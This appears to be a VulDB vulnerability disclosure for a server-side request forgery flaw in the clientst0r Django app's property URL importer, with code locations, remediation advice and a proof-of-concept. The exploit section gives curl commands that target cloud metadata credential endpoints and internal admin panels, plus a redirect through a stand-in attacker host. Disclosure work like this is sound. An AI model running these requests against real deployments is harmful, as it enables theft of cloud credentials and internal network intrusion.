| शीर्षक | agit8or1 clientst0r (Django + MariaDB IT documentation / MSP asset management web application; agit8or1/clientst0r on GitHub, ★72, not ar Latest commit on main HEAD at time of audit. property_url_importer.py introduced before v1.0 and unchanged through |
|---|
| विवरण | Title: clientst0r Property URL Importer — SSRF via Attacker-Controlled URL
Location:
locations/urls.py:36 (route mount for /locations/int:location_id [blocked]/import-property-from-url/)
locations/views.py:633 (import_property_from_url view, @login_required)
locations/views.py:649..666 (JSON body intake and url.startswith() check)
locations/services/property_url_importer.py in the _fetch_html() method (requests.get(url, ...) sink)What the bug is:
POST /locations/<location_id>/import-property-from-url/ accepts a JSON body {"url":"..."} and only validates url.startswith(("http://", "https://")) at locations/views.py:661. The URL is then passed to property_url_importer.py:_fetch_html() which calls requests.get(url, headers={"User-Agent":"clientst0r-property-importer/1.0"}, timeout=15). There is no host parsing, no block on RFC1918 / loopback / link-local / multicast / reserved IPs, no DNS pinning, and requests follows redirects by default. Any authenticated user (no admin role required, no CSRF token on this JSON endpoint) can force the Django worker to issue an outbound HTTP request to internal services and read the response back through the importer's exception path / returned JSON.
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 7.5 HIGH.How to exploit:
Setup:
TARGET=https://victim.example/
COOKIE=/tmp/jar
LOCATION_ID=1 (any location readable by the authenticated user)Step 1 — authenticate as any user with read access to a Location:
curl -c "COOKIE"−b"COOKIE" -b "COOKIE"−b"COOKIE" -X POST "TARGET/login/" -d "username=victim&password=...&csrfmiddlewaretoken=(awk '/csrftoken/ {print $7}' "$COOKIE")"Step 2 — SSRF against AWS / GCP / Azure instance metadata:
curl -b "COOKIE"−i−XPOST"COOKIE" -i -X POST "COOKIE"−i−XPOST"TARGET/locations/${LOCATION_ID}/import-property-from-url/" -H "Content-Type: application/json" -d '{"url":"http://x.x.x.x/latest/meta-data/iam/security-credentials/%22%7D'Step 3 — SSRF against an internal admin panel:
curl -b "COOKIE"−i−XPOST"COOKIE" -i -X POST "COOKIE"−i−XPOST"TARGET/locations/${LOCATION_ID}/import-property-from-url/" -H "Content-Type: application/json" -d '{"url":"http://127.0.0.1:8000/admin/%22%7D'Step 4 — SSRF via 30x redirect (defeats any future IP allow-list):
curl -b "COOKIE"−i−XPOST"COOKIE" -i -X POST "COOKIE"−i−XPOST"TARGET/locations/${LOCATION_ID}/import-property-from-url/" -H "Content-Type: application/json" -d '{"url":"http://attacker.example/redirect-to-internal%22%7D'
On EC2 (IMDSv1) step 2 leaks IAM credentials through the upstream body. requests follows redirects by default, so any IP allow-list implemented later can be bypassed via 302 from a public endpoint.Impact:1.Disclosure of cloud instance metadata services (AWS IMDSv1, GCP metadata v1, Azure IMDS) — full IAM / project tokens leaked through the error path.2.Disclosure of internal HTTP services reachable from the Django worker (admin panels, Redis INFO, Elasticsearch /_cat, CouchDB /_all_dbs, internal Django /admin).3.Reconnaissance of the internal network topology (latency, error messages, port survival).4.Pivot toward RCE or data exfiltration when chained with another vulnerability.Remediation:1.Replace url.startswith() with a hardened validator that uses ipaddress to refuse RFC1918 / 127.0.0.0/8 / x.x.x.x/16 / fc00::/7 / fe80::/10 and other private/loopback/link-local/multicast/reserved ranges.2.Resolve the host via socket.getaddrinfo before the request and re-check the resolved IP right before connect() to defeat DNS rebinding.3.Set allow_redirects=False on the requests.get call. If the helper ever sets it to True, validate each redirect target against the same allow-list.4.Pin DNS by resolving once and connecting to the IP directly with a Host: header override. |
|---|
| स्रोत | ⚠️ https://github.com/agit8or1/clientst0r |
|---|
| उपयोगकर्ता | Plus0ne_27 (UID 101324) |
|---|
| सबमिशन | 17/09/2026 04:20 PM (1 महीना पहले) |
|---|
| संयम | 19/10/2026 02:57 PM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 422335 [agit8or1 clientst0r तक 3.17.586 Property URL Importer property_url_importer.py _fetch_html url अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|